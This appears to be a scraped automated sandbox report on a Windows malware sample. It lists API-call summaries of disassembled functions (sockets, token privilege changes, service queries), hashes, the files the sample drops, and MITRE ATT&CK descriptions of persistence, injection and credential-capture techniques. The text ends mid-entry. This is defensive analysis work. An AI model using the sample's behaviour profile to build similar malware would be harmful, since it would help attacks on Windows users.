Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: BufferDispatchEventMessageObjectSingleWaitwave
String ID:
API String ID: 204745351-0
Opcode ID: 91c3ab766f53dfa8765724531b7ecddfc0a843ddaf9fbd75d6e3375ec496e0bd
Instruction ID: 5ab2102c0d88b0b8f47d22a252cb3c75ca43ef1332af7c14eaf73d2de6573aea
Opcode Fuzzy Hash: 91c3ab766f53dfa8765724531b7ecddfc0a843ddaf9fbd75d6e3375ec496e0bd
Instruction Fuzzy Hash: A411D032A00319AFE710DFA9DC85F9AB7BAEB04721F010626E601DA1D0DB61E951CBA0

Function 100331F0 Relevance: 6.1, APIs: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 1003320A
htons.WS2_32(?), ref: 10033229
connect.WS2_32(00000000,?,00000010), ref: 1003323A
closesocket.WS2_32(00000000), ref: 1003324A

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: closesocketconnecthtonssocket
String ID:
API String ID: 3817148366-0
Opcode ID: e0e87266f4100410e46459b3aee8fac7b183189c69ef143c0b35ca8c9c184bb9
Instruction ID: 86eb78714c6bd48d37a1c5e0190e1159e497d6bb12789b97a2860bc2f6afef1d
Opcode Fuzzy Hash: e0e87266f4100410e46459b3aee8fac7b183189c69ef143c0b35ca8c9c184bb9
Instruction Fuzzy Hash: 1711E034A00218AFD701DFA88C45BEEF7B5EF49721F01421AFC42AB281DBB46A148BD0

Function 1003D01A Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 1003D034

Part of subcall function 1003CF81: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 1003CFB0
Part of subcall function 1003CF81: ___AdjustPointer.LIBCMT ref: 1003CFCB

_UnwindNestedFrames.LIBCMT ref: 1003D049
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 1003D05A
CallCatchBlock.LIBVCRUNTIME ref: 1003D082

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 34d2527305fb361fe866b13f01d8eee121678cf240835e2e581a06a0c5e935de
Instruction ID: e306269b884234a2feb5dae1234a47549cba8091af87a0e9fb2468b86f827147
Opcode Fuzzy Hash: 34d2527305fb361fe866b13f01d8eee121678cf240835e2e581a06a0c5e935de
Instruction Fuzzy Hash: 07012936500148BFCF13AE96DC45EEB3B79EF89795F044115FE089A121D736E861DBA0

Function 10021073 Relevance: 6.0, APIs: 4, Instructions: 50synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 1002109A

Part of subcall function 10030BD0: GetCurrentThreadId.KERNEL32 ref: 10030BE8
Part of subcall function 10030BD0: GetThreadDesktop.USER32(00000000), ref: 10030BEF
Part of subcall function 10030BD0: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 10030C3A
Part of subcall function 10030BD0: lstrcmpiA.KERNEL32(?,?), ref: 10030C7E
Part of subcall function 10030BD0: SetThreadDesktop.USER32(00000000), ref: 10030C89

Part of subcall function 10027530: GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,?,?,00000124), ref: 100275B4
Part of subcall function 10027530: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,00000124), ref: 100275BB
Part of subcall function 10027530: LookupPrivilegeValueA.ADVAPI32 ref: 100275EA
Part of subcall function 10027530: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,00000000,100787FC,?), ref: 10027604
Part of subcall function 10027530: GetLastError.KERNEL32(?,?,?,00000000,100787FC,?), ref: 1002760A
Part of subcall function 10027530: CloseHandle.KERNEL32(?,?,?,?,00000000,100787FC,?), ref: 10027614
Part of subcall function 10027530: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1002761E

LocalSize.KERNEL32(00000000), ref: 100210D6
LocalFree.KERNEL32(00000000,00000000,00000000), ref: 100210EA
WaitForSingleObject.KERNEL32(?,000000FF), ref: 100210F5

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: DesktopThread$CreateCurrentLocalOpenProcessToken$AdjustCloseErrorEventFreeHandleInputLastLookupObjectPrivilegePrivilegesSingleSizeSnapshotToolhelp32ValueWaitlstrcmpi
String ID:
API String ID: 1649480584-0
Opcode ID: b2fd186d60dea60b18e7665f1fbac649c551bd7b969c24e75bc93ba40ea87cd4
Instruction ID: c85d76b719439575972656a033a2b5b5b6a71999767bd8ce309b796f02c7f20d
Opcode Fuzzy Hash: b2fd186d60dea60b18e7665f1fbac649c551bd7b969c24e75bc93ba40ea87cd4
Instruction Fuzzy Hash: 02119D35D442688ADB20DF60EC56BDDB771EF55700F5001DAE44AA6292DFB51E84CF80

Function 100212C8 Relevance: 6.0, APIs: 4, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 100212EF

Part of subcall function 1002A4D0: OpenSCManagerA.ADVAPI32(00000000,00000000), ref: 1002A519
Part of subcall function 1002A4D0: OpenServiceA.ADVAPI32(?,?,000F01FF,1002A201,00000001), ref: 1002A5FD
Part of subcall function 1002A4D0: QueryServiceConfig2A.ADVAPI32(00000000,00000001,?,?,?), ref: 1002A628

LocalSize.KERNEL32(00000000), ref: 10021319
LocalFree.KERNEL32(00000000,00000000,00000000), ref: 1002132D
WaitForSingleObject.KERNEL32(?,000000FF,00000030), ref: 10021338

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: LocalOpenService$Config2CreateEventFreeManagerObjectQuerySingleSizeWait
String ID:
API String ID: 2777808081-0
Opcode ID: 09534b310644c52a6f99a9298f9256a5dfa951a975e56fb8d350abf1917a1f35
Instruction ID: f3c52d2cfe0528a9b8ea176afbedf66a23ab1ee80d57f860f51eea13cdfc8a0d
Opcode Fuzzy Hash: 09534b310644c52a6f99a9298f9256a5dfa951a975e56fb8d350abf1917a1f35
Instruction Fuzzy Hash: D2117C35D452389BEB20DF50EC55BDEB775EF54710F40019AE54AA6192DBB51F80CF80

Function 100203C0 Relevance: 6.0, APIs: 4, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 100203E1
CreateThread.KERNEL32(00000000,00000000,Function_0001F310,?,00000000,00000000), ref: 100203FB
WaitForSingleObject.KERNEL32(?,000000FF), ref: 10020408
CloseHandle.KERNEL32(?), ref: 10020411

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 4a9e6af0ab6b8cbca915cad7cca1c213d56958b0c389dc99dd025bdf113dac05
Instruction ID: f54606e51e1a0b4728f0c2717eb72f4fe9e4390f74c29335ff2ac4329cce8945
Opcode Fuzzy Hash: 4a9e6af0ab6b8cbca915cad7cca1c213d56958b0c389dc99dd025bdf113dac05
Instruction Fuzzy Hash: C3F03631A44228BBEB10DFE48C46FDE7FB5EB09711F114155FB24AB2D1D6B15A548BC0

Function 1005F828 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,1005ED7C,00000000,00000001,00000000,00000000,?,100582AF,00000000,?,00000000), ref: 1005F83F
GetLastError.KERNEL32(?,1005ED7C,00000000,00000001,00000000,00000000,?,100582AF,00000000,?,00000000,00000000,00000000,?,10058803,?), ref: 1005F84B

Part of subcall function 1005F811: CloseHandle.KERNEL32(100819C0,1005F85B,?,1005ED7C,00000000,00000001,00000000,00000000,?,100582AF,00000000,?,00000000,00000000,00000000), ref: 1005F821

___initconout.LIBCMT ref: 1005F85B

Part of subcall function 1005F7D3: CreateFileW.KERNEL32(100711B8,40000000,00000003,00000000,00000003,00000000,00000000,1005F802,1005ED69,00000000,?,100582AF,00000000,?,00000000,00000000), ref: 1005F7E6

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,1005ED7C,00000000,00000001,00000000,00000000,?,100582AF,00000000,?,00000000,00000000), ref: 1005F870

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0c8ee9046875c7748245a9d26db4b56da79f02cbe4d3ca59d0ecfca8ab75afe9
Instruction ID: ac67bddf8f52101fd1c52d39a29875ee89b29ce1ae15bc79d8ab631011ba7560
Opcode Fuzzy Hash: 0c8ee9046875c7748245a9d26db4b56da79f02cbe4d3ca59d0ecfca8ab75afe9
Instruction Fuzzy Hash: 14F01C3A441239BBDF125F95CC44AEA3FA7FF487E0F164014FA4886120CA3299609BD0

Function 10022040 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,00000000,00000004), ref: 10022064
CancelIo.KERNEL32(?,?,100219DF,?,00000000,100216B4,?,?,10081068,?,?,?,00000000,10062583,000000FF), ref: 10022070
closesocket.WS2_32(?), ref: 10022086
SetEvent.KERNEL32(?,?,100219DF,?,00000000,100216B4,?,?,10081068,?,?,?,00000000,10062583,000000FF), ref: 10022092

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: 18a416a65e308fca91516f1ab9571e52320d33af3778e9c1de1ab6d92bd37963
Instruction ID: df6f8a5613b988293f7468834407b88d54820ddb872680da4a738be61adc74fd
Opcode Fuzzy Hash: 18a416a65e308fca91516f1ab9571e52320d33af3778e9c1de1ab6d92bd37963
Instruction Fuzzy Hash: C5F05E31000715EFEB619B60CC49B967BABEF05310F514269F56A861B0DFB12848DB81

Function 1005E552 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 1005E5A3
_free.LIBCMT ref: 1005E608

Strings

SystemRoot, xrefs: 1005E843, 1005E846

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: __dosmaperr_free
String ID: SystemRoot
API String ID: 3116789124-2034820756
Opcode ID: 19a73d21b6288dd25c62479f6e9760816a64cec6a398666d2b92e28e3320fcd8
Instruction ID: 5b65ae1d6657afc16d850ee463122eae5b311d16dff0027f7b3b2ff69e91d112
Opcode Fuzzy Hash: 19a73d21b6288dd25c62479f6e9760816a64cec6a398666d2b92e28e3320fcd8
Instruction Fuzzy Hash: C421E7756042969FE708CE68C880BA9B7E8EF46798F2581ADFC85DB341FA31ED05C750

Function 1002143E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001), ref: 10021465
WaitForSingleObject.KERNEL32(?,000000FF,?,00000001), ref: 1002149B

Part of subcall function 100219C0: WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,100216B4,?,?,10081068,?,?,?,00000000,10062583,000000FF,?,10018B6B), ref: 100219F2
Part of subcall function 100219C0: RtlDeleteCriticalSection.NTDLL(?), ref: 10021A0F
Part of subcall function 100219C0: WSACleanup.WS2_32 ref: 10021A15

Strings

p, xrefs: 1002148A

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ObjectSingleWait$CleanupCreateCriticalDeleteEventSection
String ID: p
API String ID: 1919503478-2181537457
Opcode ID: 4b4d3e3c57621e71c8ced458160e02519720282f55b1d69f68e537f8979aadae
Instruction ID: 3877883f66ecdafbe8ef0c958e7d9b0a3b4718399632d218a487b46c59c5b629
Opcode Fuzzy Hash: 4b4d3e3c57621e71c8ced458160e02519720282f55b1d69f68e537f8979aadae
Instruction Fuzzy Hash: 5B017135D882289EDB20DF50EC51BDEB771FB44710F5002DBE55AA6282DFB51A84CF40

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pXm5oVO3Go.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\6fjdie\DAPIjX8.exe

C:\Program Files (x86)\6fjdie\MSVCP140.dll

C:\Program Files (x86)\6fjdie\VCRUNTIME140.dll

C:\Program Files (x86)\6fjdie\libcef.dll

C:\Program Files (x86)\6fjdie\t3d.tmp

C:\Program Files (x86)\6fjdie\t4d.tmp

C:\Program Files (x86)\6fjdie\t5d.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\long[1].bmp

Static File Info

Windows Analysis Report
pXm5oVO3Go.exe

Function 00420710 Relevance: 32.0, APIs: 8, Strings: 10, Instructions: 453
networkmemorythreadCOMMON

Function 0040EB30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
COMMON

Function 10008BDA Relevance: 4.9, APIs: 3, Instructions: 395
timeCOMMON

Function 100039A3 Relevance: 202.6, APIs: 68, Strings: 47, Instructions: 1399
sleepregistrylibraryCOMMON

Function 100092BD Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252
filetimeCOMMON

Function 10002D0C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111
filesleepCOMMON

Function 100028B9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312
fileCOMMON

Function 0054D874 Relevance: 16.6, APIs: 11, Instructions: 106
memoryCOMMON

Function 1000916F Relevance: 10.6, APIs: 7, Instructions: 114
COMMON

Function 1000A063 Relevance: 9.3, APIs: 6, Instructions: 301
COMMON

Function 1000BD08 Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
